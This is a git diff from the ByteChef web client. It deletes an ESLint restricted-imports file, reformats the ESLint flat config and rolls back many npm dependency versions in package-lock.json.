-        '../server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/ee/libs/embedded/embedded-configuration/embedded-configuration-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-graphql/src/main/resources/graphql/*.graphqls',
-    ],
 };
 
 export default config;
diff --git a/client/eslint-restricted-imports.mjs b/client/eslint-restricted-imports.mjs
deleted file mode 100644
index cbaa10a0f57..00000000000
--- a/client/eslint-restricted-imports.mjs
+++ /dev/null
@@ -1,23 +0,0 @@
-/**
- * Restricted imports configuration for @typescript-eslint/no-restricted-imports
- *
- * This file defines which imports should be restricted and what alternatives
- * should be used instead. Add new restrictions here as needed.
- */
-
-export const restrictedImports = {
-    paths: [
-        {
-            name: '@/components/ui/button',
-            importNames: ['Button'],
-            message: "Import Button from '@/components/Button/Button' instead.",
-            allowTypeImports: true,
-        },
-        {
-            name: '@/components/ui/badge',
-            importNames: ['Badge'],
-            message: "Import Badge from '@/components/Badge/Badge' instead.",
-            allowTypeImports: true,
-        },
-    ],
-};
diff --git a/client/eslint.config.mjs b/client/eslint.config.mjs
index c464d486672..a1be2065ac1 100644
--- a/client/eslint.config.mjs
+++ b/client/eslint.config.mjs
@@ -16,255 +16,242 @@ import pluginLingui from 'eslint-plugin-lingui';
 // TypeScript flat configs (provides parser + recommended rules)
 import tseslint from 'typescript-eslint';
 
-import {restrictedImports} from './eslint-restricted-imports.mjs';
-
 // Note: We avoid auto-including plugin "recommended" presets to prevent mixing legacy and flat configs.
 
 export default [
-    // Ignores (migrated from .eslintignore)
-    {
-        ignores: [
-            'node_modules',
-            'dist',
-            'src/components/assistant-ui',
-            'src/components/ui',
-            'src/hooks/use-toast.ts',
-            'src/**/graphql.ts',
-            'src/locales/**',
-            'src/**/middleware/**',
-        ],
-    },
-    // Base JS recommended rules
-    js.configs.recommended,
-    // TypeScript recommended rules and parser setup
-    ...tseslint.configs.recommended,
-    // Lingui plugin recommended rules
-    pluginLingui.configs['flat/recommended'],
-    // Project-specific rules and plugin configuration
-    {
-        files: ['**/*.{js,jsx,ts,tsx}'],
-        languageOptions: {
-            ecmaVersion: 'latest',
-            sourceType: 'module',
-            parser: tseslint.parser,
-            globals: {
-                ...globals.browser,
-                ...globals.node,
-                ...globals.jest,
-            },
-        },
-        settings: {
-            react: {version: 'detect'},
-        },
-        plugins: {
-            '@typescript-eslint': tseslint.plugin,
-            react,
-            'react-hooks': reactHooks,
-            tailwindcss,
-            'sort-destructure-keys': sortDestructureKeys,
-            bytechef,
-            storybook,
-        },
-        rules: {
-            // TypeScript
-            '@typescript-eslint/explicit-module-boundary-types': 'off',
-            '@typescript-eslint/no-non-null-assertion': 'off',
-            '@typescript-eslint/naming-convention': [
-                'error',
-                {
-                    selector: 'typeAlias',
-                    format: ['PascalCase'],
-                    suffix: ['Type'],
-                },
-                {
-                    selector: 'interface',
-                    format: ['PascalCase'],
-                    suffix: ['Props', 'I'],
-                },
-            ],
-            '@typescript-eslint/no-restricted-imports': ['warn', restrictedImports],
+  // Ignores (migrated from .eslintignore)
+  {
+    ignores: [
+      'node_modules',
+      'dist',
+      'src/components/assistant-ui',
+      'src/components/ui',
+      'src/hooks/use-toast.ts',
+      'src/**/graphql.ts',
+      'src/locales/**',
+      'src/**/middleware/**',
+    ],
+  },
 
-            // Custom ByteChef plugin rules
-            'bytechef/empty-line-between-elements': 'error',
-            'bytechef/group-imports': 'error',
-            'bytechef/no-conditional-object-keys': 'error',
-            'bytechef/no-duplicate-imports': 'error',
-            'bytechef/no-length-jsx-expression': 'error',
-            'bytechef/ref-name-suffix': 'error',
-            'bytechef/require-await-test-step': 'error',
-            'bytechef/sort-import-destructures': 'error',
-            'bytechef/sort-imports': 'error',
-            'bytechef/use-state-naming-pattern': 'error',
+  // Base JS recommended rules
+  js.configs.recommended,
 
-            // React
-            'react/jsx-sort-props': 'error',
-            'react/prop-types': 'off',
-            'react/react-in-jsx-scope': 'off',
+  // TypeScript recommended rules and parser setup
+  ...tseslint.configs.recommended,
 
-            // React Hooks
-            'react-hooks/rules-of-hooks': 'error',
-            'react-hooks/exhaustive-deps': 'warn',
+  // Lingui plugin recommended rules
+  pluginLingui.configs['flat/recommended'],
 
-            // Sorting
-            'sort-destructure-keys/sort-destructure-keys': 2,
-            'sort-keys': ['error', 'asc', {caseSensitive: true, natural: true}],
+  // Plugin presets intentionally not auto-included; rules are set explicitly below.
 
-            // Tailwind CSS
-            'tailwindcss/classnames-order': 'warn',
-            'tailwindcss/no-custom-classname': [
-                'warn',
-                {
-                    whitelist: [
-                        'animate-slide-down',
-                        'animate-slide-up',
-                        'animate-slide-up-fade',
-                        'animate-slide-down-fade',
-                        'animate-slide-left-fade',
-                        'animate-slide-right-fade',
-                        'bg-accent',
-                        'bg-background',
-                        'bg-content-brand-primary',
-                        'bg-destructive-foreground',
-                        'bg-input',
-                        'bg-muted',
-                        'bg-popover',
-                        'bg-success',
-                        'bg-surface-brand-primary',
-                        'bg-surface-brand-primary-hover',
-                        'bg-surface-brand-primary-active',
-                        'bg-surface-brand-secondary',
-                        'bg-surface-brand-secondary-hover',
-                        'bg-surface-destructive-primary',
-                        'bg-surface-destructive-primary-hover',
-                        'bg-surface-destructive-primary-active',
-                        'bg-surface-destructive-secondary',
-                        'bg-surface-main',
-                        'bg-surface-neutral-primary',
-                        'bg-surface-neutral-primary-hover',
-                        'bg-surface-neutral-secondary',
-                        'bg-surface-neutral-secondary-hover',
-                        'bg-surface-neutral-tertiary',
-                        'bg-surface-popover-canvas',
-                        'bg-surface-warning-primary',
-                        'bg-surface-warning-secondary',
-                        'border-accent',
-                        'border-content-neutral-tertiary',
-                        'border-input',
-                        'border-l-border/50',
-                        'border-muted',
-                        'border-primary',
-                        'border-stroke-brand-primary',
-                        'border-stroke-brand-primary-pressed',
-                        'border-stroke-brand-secondary',
-                        'border-stroke-brand-secondary-hover',
-                        'border-stroke-destructive-secondary',
-                        'border-stroke-neutral-primary',
-                        'border-stroke-neutral-primary-hover',
-                        'border-stroke-neutral-secondary',
-                        'border-stroke-neutral-tertiary',
-                        'divide-muted',
-                        'fill-content-neutral-secondary',
-                        'h-connection-list-item-taglist-height',
-                        'h-footer-height',
-                        'h-header-height',
-                        'h-template-height',
-                        'heading-tertiary',
-                        'left-node-handle-placement',
-                        'left-task-dispatcher-node-handle-placement',
-                        'left-workflow-node-popover-hover',
-                        'line-clamp-0',
-                        'line-clamp-2',
-                        'max-h-dialog-height',
-                        'max-h-select-content-available-height',
-                        'max-h-select-content-available-height-1/2',
-                        'max-h-workflow-execution-content-height',
-                        'max-h-workflow-test-configuration-dialog-height',
-                        'max-w-data-pill-panel-width',
-                        'max-w-integration-connect-portal-dialog-width',
-                        'max-w-output-tab-sample-data-dialog-width',
-                        'max-w-select-trigger-width',
-                        'max-w-tooltip-lg',
-                        'max-w-tooltip-sm',
-                        'max-w-workflow-execution-sheet-width',
-                        'max-w-workflow-execution-content-width',
-                        'max-w-workflow-inputs-sheet-width',
-                        'max-w-workflow-integration-portal-configuration-workflow-sheet-width',
-                        'max-w-workflow-node-details-panel-width',
-                        'max-w-workflow-outputs-sheet-width',
-                        'max-w-workflow-read-only-project-deployment-workflow-sheet-width',
-                        'max-w-workflow-sidebar-project-version-history-sheet-width',
-                        'max-w-workflow-test-configuration-dialog-width',
-                        'min-h-output-tab-sample-data-dialog-height',
-                        'min-w-api-key-dialog-width',
-                        'min-w-combo-box-popper-anchor-width',
-                        'min-w-property-code-editor-sheet-connections-sheet-width',
-                        'min-w-select-trigger-width',
-                        'min-w-signing-key-dialog-width',
-                        'min-w-sub-property-popover-width',
-                        'min-w-workflow-execution-sheet-width',
-                        'mx-placeholder-node-position',
-                        'nodrag',
-                        'nopan',
-                        'nowheel',
-                        'outline-ring',
-                        'pl-property-input-position',
-                        'right-data-pill-panel-placement',
-                        'right-minimap-placement',
-                        'rounded-xs',
-                        'size-18',
-                        'sm:max-w-workflow-inputs-sheet-width',
-                        'stroke-destructive',
-                        'text-accent-foreground',
-                        'text-content-brand-primary',
-                        'text-content-neutral-primary',
-                        'text-content-neutral-secondary',
-                        'text-content-neutral-tertiary',
-                        'text-destructive',
-                        'text-content-destructive-primary',
-                        'text-muted-foreground',
-                        'text-success',
-                        'text-success-foreground',
-                        'text-surface-brand-primary',
-                        'text-content-warning',
-                        'w-112',
-                        'w-appearance-theme-choice-skeleton-large-width',
-                        'w-appearance-theme-choice-skeleton-small-width',
-                        'w-node-popover-width',
-                        'w-sidebar-width',
-                        'w-workflow-nodes-popover-actions-menu-width',
-                        'w-workflow-nodes-popover-menu-width',
-                        'w-workflow-outputs-sheet-dialog-width',
-                        'w-task-filter-dropdown-menu-width',
-                    ],
-                },
-            ],
-            'tailwindcss/no-contradicting-classname': 'error',
-        },
+  // Project-specific rules and plugin configuration
+  {
+    files: ['**/*.{js,jsx,ts,tsx}'],
+    languageOptions: {
+      ecmaVersion: 'latest',
+      sourceType: 'module',
+      parser: tseslint.parser,
+      globals: {
+        ...globals.browser,
+        ...globals.node,
+        ...globals.jest,
+      },
     },
-
-    // Vitest globals for test files
-    {
-        files: ['**/*.{test,spec}.{js,jsx,ts,tsx}'],
-        languageOptions: {
-            globals: {
-                ...globals.vitest,
-            },
-        },
+    settings: {
+      react: {version: 'detect'},
     },
+    plugins: {
+      '@typescript-eslint': tseslint.plugin,
+      react,
+      'react-hooks': reactHooks,
+      tailwindcss,
+      'sort-destructure-keys': sortDestructureKeys,
+      bytechef,
+      storybook,
+    },
+    rules: {
+      // TypeScript
+      '@typescript-eslint/explicit-module-boundary-types': 'off',
+      '@typescript-eslint/no-non-null-assertion': 'off',
+      '@typescript-eslint/naming-convention': [
+        'error',
+        {
+          selector: 'typeAlias',
+          format: ['PascalCase'],
+          suffix: ['Type'],
+        },
+        {
+          selector: 'interface',
+          format: ['PascalCase'],
+          suffix: ['Props', 'I'],
+        },
+      ],
+
+      // Custom ByteChef plugin rules
+      'bytechef/empty-line-between-elements': 'error',
+      'bytechef/group-imports': 'error',
+      'bytechef/no-conditional-object-keys': 'error',
+      'bytechef/no-duplicate-imports': 'error',
+      'bytechef/no-length-jsx-expression': 'error',
+      'bytechef/ref-name-suffix': 'error',
+      'bytechef/require-await-test-step': 'error',
+      'bytechef/sort-import-destructures': 'error',
+      'bytechef/sort-imports': 'error',
+      'bytechef/use-state-naming-pattern': 'error',
 
-    // Allow custom component wrapper imports
-    {
-        files: ['src/components/Badge/Badge.tsx', 'src/components/Button/Button.tsx'],
-        rules: {
-            '@typescript-eslint/no-restricted-imports': 'off',
+      // React
+      'react/jsx-sort-props': 'error',
+      'react/prop-types': 'off',
+      'react/react-in-jsx-scope': 'off',
+
+      // React Hooks
+      'react-hooks/rules-of-hooks': 'error',
+      'react-hooks/exhaustive-deps': 'warn',
+
+      // Sorting
+      'sort-destructure-keys/sort-destructure-keys': 2,
+      'sort-keys': ['error', 'asc', {caseSensitive: true, natural: true}],
+
+      // Tailwind CSS
+      'tailwindcss/classnames-order': 'warn',
+      'tailwindcss/no-custom-classname': [
+        'warn',
+        {
+          whitelist: [
+            'animate-slide-down',
+            'animate-slide-up',
+            'animate-slide-up-fade',
+            'animate-slide-down-fade',
+            'animate-slide-left-fade',
+            'animate-slide-right-fade',
+            'bg-accent',
+            'bg-background',
+            'bg-content-brand-primary',
+            'bg-destructive-foreground',
+            'bg-input',
+            'bg-muted',
+            'bg-popover',
+            'bg-success',
+            'bg-surface-brand-primary',
+            'bg-surface-brand-primary-hover',
+            'bg-surface-brand-primary-active',
+            'bg-surface-brand-secondary',
+            'bg-surface-brand-secondary-hover',
+            'bg-surface-destructive-primary',
+            'bg-surface-destructive-primary-hover',
+            'bg-surface-destructive-primary-active',
+            'bg-surface-destructive-secondary',
+            'bg-surface-main',
+            'bg-surface-neutral-primary',
+            'bg-surface-neutral-primary-hover',
+            'bg-surface-neutral-secondary',
+            'bg-surface-neutral-secondary-hover',
+            'bg-surface-neutral-tertiary',
+            'bg-surface-popover-canvas',
+            'bg-surface-warning-primary',
+            'bg-surface-warning-secondary',
+            'border-accent',
+            'border-content-neutral-tertiary',
+            'border-input',
+            'border-l-border/50',
+            'border-muted',
+            'border-primary',
+            'border-stroke-brand-primary',
+            'border-stroke-brand-primary-pressed',
+            'border-stroke-brand-secondary',
+            'border-stroke-brand-secondary-hover',
+            'border-stroke-destructive-secondary',
+            'border-stroke-neutral-primary',
+            'border-stroke-neutral-primary-hover',
+            'border-stroke-neutral-secondary',
+            'border-stroke-neutral-tertiary',
+            'divide-muted',
+            'fill-content-neutral-secondary',
+            'h-connection-list-item-taglist-height',
+            'h-footer-height',
+            'h-header-height',
+            'h-template-height',
+            'heading-tertiary',
+            'left-node-handle-placement',
+            'left-task-dispatcher-node-handle-placement',
+            'left-workflow-node-popover-hover',
+            'line-clamp-0',
+            'line-clamp-2',
+            'max-h-dialog-height',
+            'max-h-select-content-available-height',
+            'max-h-select-content-available-height-1/2',
+            'max-h-workflow-execution-content-height',
+            'max-h-workflow-test-configuration-dialog-height',
+            'max-w-data-pill-panel-width',
+            'max-w-integration-connect-portal-dialog-width',
+            'max-w-output-tab-sample-data-dialog-width',
+            'max-w-select-trigger-width',
+            'max-w-tooltip-lg',
+            'max-w-tooltip-sm',
+            'max-w-workflow-execution-sheet-width',
+            'max-w-workflow-execution-content-width',
+            'max-w-workflow-inputs-sheet-width',
+            'max-w-workflow-integration-portal-configuration-workflow-sheet-width',
+            'max-w-workflow-node-details-panel-width',
+            'max-w-workflow-outputs-sheet-width',
+            'max-w-workflow-read-only-project-deployment-workflow-sheet-width',
+            'max-w-workflow-sidebar-project-version-history-sheet-width',
+            'max-w-workflow-test-configuration-dialog-width',
+            'min-h-output-tab-sample-data-dialog-height',
+            'min-w-api-key-dialog-width',
+            'min-w-combo-box-popper-anchor-width',
+            'min-w-property-code-editor-sheet-connections-sheet-width',
+            'min-w-select-trigger-width',
+            'min-w-signing-key-dialog-width',
+            'min-w-sub-property-popover-width',
+            'min-w-workflow-execution-sheet-width',
+            'mx-placeholder-node-position',
+            'nodrag',
+            'nopan',
+            'nowheel',
+            'outline-ring',
+            'pl-property-input-position',
+            'right-data-pill-panel-placement',
+            'right-minimap-placement',
+            'rounded-xs',
+            'size-18',
+            'sm:max-w-workflow-inputs-sheet-width',
+            'stroke-destructive',
+            'text-accent-foreground',
+            'text-content-brand-primary',
+            'text-content-neutral-primary',
+            'text-content-neutral-secondary',
+            'text-content-neutral-tertiary',
+            'text-destructive',
+            'text-content-destructive-primary',
+            'text-muted-foreground',
+            'text-success',
+            'text-success-foreground',
+            'text-surface-brand-primary',
+            'text-content-warning',
+            'w-112',
+            'w-appearance-theme-choice-skeleton-large-width',
+            'w-appearance-theme-choice-skeleton-small-width',
+            'w-node-popover-width',
+            'w-sidebar-width',
+            'w-workflow-nodes-popover-actions-menu-width',
+            'w-workflow-nodes-popover-menu-width',
+            'w-workflow-outputs-sheet-dialog-width',
+            'w-task-filter-dropdown-menu-width',
+          ],
         },
+      ],
+      'tailwindcss/no-contradicting-classname': 'error',
     },
+  },
 
-    // Exclude `ee/` folder from no-restricted-imports rule
-    {
-        files: ['src/ee/**/*.{js,jsx,ts,tsx}'],
-        rules: {
-            '@typescript-eslint/no-restricted-imports': 'off',
-        },
+  // Vitest globals for test files
+  {
+    files: ['**/*.{test,spec}.{js,jsx,ts,tsx}'],
+    languageOptions: {
+      globals: {
+        ...globals.vitest,
+      },
     },
+  },
 ];
diff --git a/client/package-lock.json b/client/package-lock.json
index 34e79512f91..e718410aaa8 100644
--- a/client/package-lock.json
+++ b/client/package-lock.json
@@ -8,18 +8,17 @@
       "name": "bytechef-client",
       "version": "0.1.0",
       "dependencies": {
-        "@ag-ui/client": "^0.0.44",
-        "@ag-ui/core": "^0.0.44",
-        "@assistant-ui/react": "^0.12.9",
-        "@assistant-ui/react-markdown": "^0.12.3",
+        "@ag-ui/client": "^0.0.42",
+        "@ag-ui/core": "^0.0.42",
+        "@assistant-ui/react": "^0.11.53",
+        "@assistant-ui/react-markdown": "^0.11.9",
         "@hookform/resolvers": "^5.2.2",
-        "@lingui/core": "^5.9.0",
-        "@lingui/react": "^5.9.0",
+        "@lingui/core": "^5.7.0",
+        "@lingui/react": "^5.7.0",
         "@monaco-editor/react": "^4.7.0",
         "@radix-ui/colors": "^3.0.0",
         "@radix-ui/react-aspect-ratio": "^1.1.8",
         "@radix-ui/react-context-menu": "^2.2.16",
-        "@radix-ui/react-dialog": "^1.1.15",
         "@radix-ui/react-icons": "^1.3.2",
         "@radix-ui/react-menubar": "^1.1.16",
         "@radix-ui/react-navigation-menu": "^1.2.14",
@@ -27,22 +26,21 @@
         "@radix-ui/react-separator": "^1.1.8",
         "@radix-ui/react-slider": "^1.3.6",
         "@radix-ui/react-slot": "^1.2.4",
-        "@radix-ui/react-toggle": "^1.1.10",
-        "@radix-ui/react-visually-hidden": "^1.2.4",
-        "@tanstack/react-query": "^5.90.20",
-        "@tanstack/react-query-devtools": "^5.91.3",
+        "@radix-ui/react-toggle-group": "^1.1.11",
+        "@tanstack/react-query": "^5.90.16",
+        "@tanstack/react-query-devtools": "^5.91.2",
         "@tanstack/react-table": "^8.21.3",
         "@testing-library/dom": "^10.4.1",
         "@testing-library/user-event": "^14.6.1",
-        "@tiptap/extension-document": "3.19.0",
-        "@tiptap/extension-mention": "3.19.0",
-        "@tiptap/extension-paragraph": "3.19.0",
-        "@tiptap/extension-placeholder": "3.19.0",
-        "@tiptap/extension-text": "3.19.0",
-        "@tiptap/pm": "3.19.0",
-        "@tiptap/react": "3.19.0",
-        "@tiptap/starter-kit": "3.19.0",
-        "@tiptap/suggestion": "3.19.0",
+        "@tiptap/extension-document": "3.15.3",
+        "@tiptap/extension-mention": "3.15.3",
+        "@tiptap/extension-paragraph": "3.15.3",
+        "@tiptap/extension-placeholder": "3.15.3",
+        "@tiptap/extension-text": "3.15.3",
+        "@tiptap/pm": "3.15.3",
+        "@tiptap/react": "3.15.3",
+        "@tiptap/starter-kit": "3.15.3",
+        "@tiptap/suggestion": "3.15.3",
         "@types/d3": "^7.4.3",
         "@types/sanitize-html": "^2.16.0",
         "@uidotdev/usehooks": "^2.4.1",
@@ -56,22 +54,22 @@
         "date-fns": "^4.1.0",
         "fetch-intercept": "^2.4.0",
         "html-entities": "^2.6.0",
-        "lucide-react": "^0.563.0",
+        "lucide-react": "^0.562.0",
         "monaco-editor": "^0.55.1",
         "monaco-yaml": "^5.4.0",
-        "motion": "^12.33.0",
-        "posthog-js": "^1.342.1",
+        "motion": "^12.25.0",
+        "posthog-js": "^1.316.1",
         "radix-ui": "^1.4.3",
-        "react": "^19.2.4",
+        "react": "^19.2.3",
         "react-data-grid": "^7.0.0-beta.59",
-        "react-day-picker": "^9.13.1",
-        "react-dom": "^19.2.4",
+        "react-day-picker": "^9.13.0",
+        "react-dom": "^19.2.3",
         "react-helmet-async": "^2.0.5",
-        "react-hook-form": "^7.71.1",
+        "react-hook-form": "^7.70.0",
         "react-inlinesvg": "^4.2.0",
         "react-json-view": "^1.21.3",
         "react-resizable-panels": "^3.0.6",
-        "react-router-dom": "^7.13.0",
+        "react-router-dom": "^7.12.0",
         "react-select": "^5.10.2",
         "react-shiki": "^0.9.1",
         "react-textarea-autosize": "^8.5.9",
@@ -84,69 +82,69 @@
         "use-debounce": "^10.1.0",
         "vite-plugin-svgr": "^4.5.0",
         "whatwg-fetch": "^3.6.20",
-        "zod": "^4.3.6",
-        "zustand": "^5.0.11"
+        "zod": "^4.3.5",
+        "zustand": "^5.0.9"
       },
       "devDependencies": {
-        "@chromatic-com/storybook": "^5.0.0",
+        "@chromatic-com/storybook": "^4.1.3",
         "@dagrejs/dagre": "^1.1.8",
         "@eslint/eslintrc": "^3.3.3",
         "@eslint/js": "9.39.2",
-        "@graphql-codegen/cli": "^6.1.1",
+        "@graphql-codegen/cli": "^6.1.0",
         "@graphql-codegen/typescript-react-query": "^6.1.1",
-        "@lingui/babel-plugin-lingui-macro": "^5.9.0",
-        "@lingui/cli": "^5.9.0",
-        "@lingui/macro": "^5.9.0",
-        "@lingui/vite-plugin": "^5.9.0",
-        "@playwright/test": "^1.58.2",
-        "@storybook/addon-docs": "^10.2.7",
-        "@storybook/addon-links": "^10.2.7",
-        "@storybook/addon-onboarding": "^10.2.7",
-        "@storybook/react-vite": "^10.2.7",
+        "@lingui/babel-plugin-lingui-macro": "^5.7.0",
+        "@lingui/cli": "^5.7.0",
+        "@lingui/macro": "^5.7.0",
+        "@lingui/vite-plugin": "^5.7.0",
+        "@playwright/test": "^1.57.0",
+        "@storybook/addon-docs": "^10.1.11",
+        "@storybook/addon-links": "^10.1.11",
+        "@storybook/addon-onboarding": "^10.1.11",
+        "@storybook/react-vite": "^10.1.11",
         "@tailwindcss/forms": "^0.5.11",
         "@tailwindcss/line-clamp": "^0.4.4",
         "@tailwindcss/typography": "^0.5.19",
-        "@tanstack/eslint-plugin-query": "^5.91.4",
+        "@tanstack/eslint-plugin-query": "^5.91.2",
         "@testing-library/jest-dom": "^6.9.1",
-        "@testing-library/react": "^16.3.2",
+        "@testing-library/react": "^16.3.1",
         "@testing-library/react-hooks": "^8.0.1",
         "@types/node": "^22.19.1",
         "@types/react-dom": "^19.2.3",
         "@types/sanitize-html": "^2.16.0",
-        "@typescript-eslint/eslint-plugin": "^8.54.0",
-        "@typescript-eslint/parser": "^8.54.0",
-        "@vitejs/plugin-basic-ssl": "^2.1.4",
-        "@vitejs/plugin-react": "^5.1.3",
-        "@vitest/coverage-v8": "^4.0.18",
-        "autoprefixer": "^10.4.24",
+        "@typescript-eslint/eslint-plugin": "^8.52.0",
+        "@typescript-eslint/parser": "^8.52.0",
+        "@vitejs/plugin-basic-ssl": "^2.1.3",
+        "@vitejs/plugin-react": "^5.1.2",
+        "@vitest/coverage-v8": "^4.0.16",
+        "autoprefixer": "^10.4.23",
         "eslint": "9.39.2",
         "eslint-config-prettier": "^10.1.8",
         "eslint-plugin-bytechef": "file:eslint",
         "eslint-plugin-lingui": "^0.11.0",
-        "eslint-plugin-prettier": "^5.5.5",
+        "eslint-plugin-prettier": "^5.5.4",
         "eslint-plugin-react": "^7.37.5",
         "eslint-plugin-react-hooks": "^7.0.1",
         "eslint-plugin-sort-destructure-keys": "^2.0.0",
-        "eslint-plugin-storybook": "^10.2.7",
+        "eslint-plugin-storybook": "^10.1.11",
         "eslint-plugin-tailwindcss": "^3.18.2",
-        "globals": "^17.3.0",
+        "globals": "^17.0.0",
         "identity-obj-proxy": "^3.0.0",
         "isobject": "^4.0.0",
-        "jsdom": "^28.0.0",
-        "msw": "^2.12.9",
+        "jsdom": "^27.4.0",
+        "msw": "^2.12.7",
         "object-resolve-path": "^1.1.1",
         "postcss": "^8.5.6",
-        "prettier": "3.8.1",
+        "prettier": "3.7.4",
         "prettier-plugin-tailwindcss": "^0.7.2",
         "react-fast-compare": "^3.2.2",
-        "storybook": "^10.2.7",
+        "storybook": "^10.1.11",
         "tailwindcss": "^3.4.17",
         "typescript": "^5.9.3",
-        "typescript-eslint": "^8.54.0",
+        "typescript-eslint": "^8.52.0",
         "vite": "^7.3.1",
-        "vite-bundle-analyzer": "^1.3.6",
-        "vite-tsconfig-paths": "^6.1.0",
-        "vitest": "^4.0.18"
+        "vite-bundle-analyzer": "^1.3.2",
+        "vite-tsconfig-paths": "^6.0.3",
+        "vitest": "^4.0.16"
       },
       "engines": {
         "node": ">=20.19"
@@ -274,9 +272,9 @@
       }
     },
     "node_modules/@acemir/cssom": {
-      "version": "0.9.31",
-      "resolved": "https://registry.npmjs.org/@acemir/cssom/-/cssom-0.9.31.tgz",
-      "integrity": "sha512-ZnR3GSaH+/vJ0YlHau21FjfLYjMpYVIzTD8M8vIEQvIGxeOXyXdzCI140rrCY862p/C/BbzWsjc1dgnM9mkoTA==",
+      "version": "0.9.28",
+      "resolved": "https://registry.npmjs.org/@acemir/cssom/-/cssom-0.9.28.tgz",
+      "integrity": "sha512-LuS6IVEivI75vKN8S04qRD+YySP0RmU/cV8UNukhQZvprxF+76Z43TNo/a08eCodaGhT1Us8etqS1ZRY9/Or0A==",
       "dev": true,
       "license": "MIT"
     },
@@ -287,13 +285,13 @@
       "dev": true
     },
     "node_modules/@ag-ui/client": {
-      "version": "0.0.44",
-      "resolved": "https://registry.npmjs.org/@ag-ui/client/-/client-0.0.44.tgz",
-      "integrity": "sha512-lYOdVSD/PSzVqY6CuWmQxUFoMEF6mo3CYvy22P/Wgs6bROjc6JDs3N0Lu46ZADJPiS1hcoDPtfMwSF2XisftFg==",
+      "version": "0.0.42",
+      "resolved": "https://registry.npmjs.org/@ag-ui/client/-/client-0.0.42.tgz",
+      "integrity": "sha512-zAbP+sZJImR5bUpR2ni7RtuuNZMuesaxviynyIgzKlr1k2VCM49mFpbDUKU4TH4Cneu+Xe7OEnO8qCOCIzBAww==",
       "dependencies": {
-        "@ag-ui/core": "0.0.44",
-        "@ag-ui/encoder": "0.0.44",
-        "@ag-ui/proto": "0.0.44",
+        "@ag-ui/core": "0.0.42",
+        "@ag-ui/encoder": "0.0.42",
+        "@ag-ui/proto": "0.0.42",
         "@types/uuid": "^10.0.0",
         "compare-versions": "^6.1.1",
         "fast-json-patch": "^3.1.1",
@@ -313,9 +311,9 @@
       }
     },
     "node_modules/@ag-ui/core": {
-      "version": "0.0.44",
-      "resolved": "https://registry.npmjs.org/@ag-ui/core/-/core-0.0.44.tgz",
-      "integrity": "sha512-xX6oSGZ+yqG/qIhzfbGRcenIKoSzWhrYerRZIFwYqa1keN55Zybbp29/zuauWNy0OwffVnWQ5bhR2mRVqgsk/w==",
+      "version": "0.0.42",
+      "resolved": "https://registry.npmjs.org/@ag-ui/core/-/core-0.0.42.tgz",
+      "integrity": "sha512-C2hMg4Gs5oiUDgK9cA2RsTwSSmFZdIsqPklDrFw/Ue+quH6EU3vKp5YoOq7nuaQYO4pO8Em+Z+l5/M5PpcvP1g==",
       "dependencies": {
         "rxjs": "7.8.1",
         "zod": "^3.22.4"
@@ -331,20 +329,20 @@
       }
     },
     "node_modules/@ag-ui/encoder": {
-      "version": "0.0.44",
-      "resolved": "https://registry.npmjs.org/@ag-ui/encoder/-/encoder-0.0.44.tgz",
-      "integrity": "sha512-5jXmWv02ONy7BViMNdx1U9UJAnecAPPefq+Tjva2bXQSZ7NnKmnqLlg/m+d0UFm1Jt5JhIgdgSx2YGg0p8QDxA==",
+      "version": "0.0.42",
+      "resolved": "https://registry.npmjs.org/@ag-ui/encoder/-/encoder-0.0.42.tgz",
+      "integrity": "sha512-97B5MMCSs82t/y41uk2NrLBYFhbvn4kYsKQHMCfy8tjSWubyxh3zP7N9yHo8zJeSPe3WvzTvclyXNiGxSOsorg==",
       "dependencies": {
-        "@ag-ui/core": "0.0.44",
-        "@ag-ui/proto": "0.0.44"
+        "@ag-ui/core": "0.0.42",
+        "@ag-ui/proto": "0.0.42"
       }
     },
     "node_modules/@ag-ui/proto": {
-      "version": "0.0.44",
-      "resolved": "https://registry.npmjs.org/@ag-ui/proto/-/proto-0.0.44.tgz",
-      "integrity": "sha512-bp01eCvuq7OOTP+W/gvbllYxhhoHG0X7RLvFonn0sh181O8iD49plnD1v50gr0yiq4Y9N8Hgcue+ia10tiQ1oQ==",
+      "version": "0.0.42",
+      "resolved": "https://registry.npmjs.org/@ag-ui/proto/-/proto-0.0.42.tgz",
+      "integrity": "sha512-NDUwSgMnGEqxZGkWIJ1ge5t3Q7Kiddj360x2JAWaIfv9w+7tDJ0pmgyzf3/SXp605aY2wZiDLBtJ6jKZeg1lFg==",
       "dependencies": {
-        "@ag-ui/core": "0.0.44",
+        "@ag-ui/core": "0.0.42",
         "@bufbuild/protobuf": "^2.2.5",
         "@protobuf-ts/protoc": "^2.11.1"
       }
@@ -387,9 +385,9 @@
       }
     },
     "node_modules/@asamuzakjp/css-color": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-4.1.1.tgz",
-      "integrity": "sha512-B0Hv6G3gWGMn0xKJ0txEi/jM5iFpT3MfDxmhZFb4W047GvytCf1DHQ1D69W3zHI4yWe2aTZAA0JnbMZ7Xc8DuQ==",
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-4.1.0.tgz",
+      "integrity": "sha512-9xiBAtLn4aNsa4mDnpovJvBn72tNEIACyvlqaNJ+ADemR+yeMJWnBudOi2qGDviJa7SwcDOU/TRh5dnET7qk0w==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -397,13 +395,13 @@
         "@csstools/css-color-parser": "^3.1.0",
         "@csstools/css-parser-algorithms": "^3.0.5",
         "@csstools/css-tokenizer": "^3.0.4",
-        "lru-cache": "^11.2.4"
+        "lru-cache": "^11.2.2"
       }
     },
     "node_modules/@asamuzakjp/css-color/node_modules/lru-cache": {
-      "version": "11.2.5",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.5.tgz",
-      "integrity": "sha512-vFrFJkWtJvJnD5hg+hJvVE8Lh/TcMzKnTgCWmtBipwI5yLX/iX+5UB2tfuyODF5E7k9xEzMdYgGqaSb1c0c5Yw==",
+      "version": "11.2.4",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.4.tgz",
+      "integrity": "sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg==",
       "dev": true,
       "license": "BlueOak-1.0.0",
       "engines": {
